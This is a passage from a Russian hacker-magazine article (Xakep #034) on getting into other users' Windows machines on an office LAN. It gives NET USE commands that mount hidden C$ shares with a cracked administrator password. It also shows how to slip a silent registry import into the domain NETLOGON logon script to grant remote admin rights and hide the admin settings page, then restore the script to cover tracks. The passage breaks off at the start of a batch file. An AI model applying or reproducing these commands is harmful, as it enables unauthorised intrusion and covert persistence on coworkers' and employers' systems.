
Основы выживания в локальной сети
Xakep, номер #034, стр. 034-042-4
Формат команды: (из-под 95-98-МЕ не работает! NT based only!): NET USE H: /USER:DOMAIN\adminname \\USER_PETYA\c$ 12345
где DOMAIN - домен или рабочая группа, либо вообще имя рабочей станции.
adminname - логин нашего администратора, а 12345 его пароль.
с$ - скрытый расшаренный диск С:
Тут есть свои нюансы. Способ работает в следующих случаях:
1. У пользователя установлен совместный доступ к файлам и принтерам.
2. Если у него не дошли руки посмотреть в настройках, кому разрешено администрировать 98-е. По умолчанию администраторы домена.
Грабли
Если у юзера стоит русская версия Win9х, соответственно она рассчитана на русский же сервер PDC или рабочей группы, так как управление по умолчанию отдается группе "администраторы домена". А так как обычно ставят NT 4.0 W2k SERVER английский (по-моему русского NT 4.0 не существует), то, соответственно, там такой группы нет. Там есть Domain admins. По сути одно и то же, но в результате не работает.
Гораздо легче, если у пользователя что-либо из линейки NT. Зная его пароль, а предположим, что LCP нам его дал, мы можем подключиться к нему:
NET USE H: /USER:DOMAIN\petya \\USER_PETYA\c$ 123
или применить имя встроенного аккаунта:
NET USE H: /USER:USER_PETYA \administrator \\USER_PETYA\c$ 123
Где administrator - встроенная учетная запись администратора РАБОЧЕЙ СТАНЦИИ.
Мало того, теперь можно запускать-тормозить сервисы, иметь доступ к реестру и много чего интересного! Для этого можно использовать запуск от имени другого пользователя. Для того чтобы исправить положение с рабочими станциями Win95-98-ME (см. грабли; несоответствие языков рабочей станции и сервера) и получить-таки желаемый доступ к ним, придется потрудиться. Если сеть с доменом, то все довольно просто. Есть такая штука, как скрипт, активизируемый при входе в сеть. Попросту обычный командный файл в каталоге NETLOGON. Туда пишутся различные команды типа подключения сетевых дисков и проч. Никто не мешает тебе придти пораньше на работу и добавить в него кой чего :) - права-то мы раздобыли.
Пример: rus-eng compatibility patch :)
Добавляем строчку в батник:
regedit /s share.reg (чтоб ничего не было видно)
Содержимое файла share.reg:
**************************************************************************
REGEDIT4
[HKEY_LOCAL_MACHINE\Security\Access\Admin\Remote
"YOUR_DOMAIN\\DOMAIN ADMINS"=hex:ff,00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoAdminPage"=dword:00000001
**************************************************************************
Вместо your_domain, естественно, ставим свой домен. Расширение и имя файла share.reg может быть любым, кстати. Когда в начале рабочего дня все начнут входить в сеть, "патч" сработает. Через час-полтора можно вернуть батник в прежнее состояние. Если данная схема проникновения в твоем случае неприемлема, можно сделать локальный патч и подсунуть пользователю.
Я не стал извращаться и написал вот что:
@echo off
if not exist c:\windows\win.com goto exit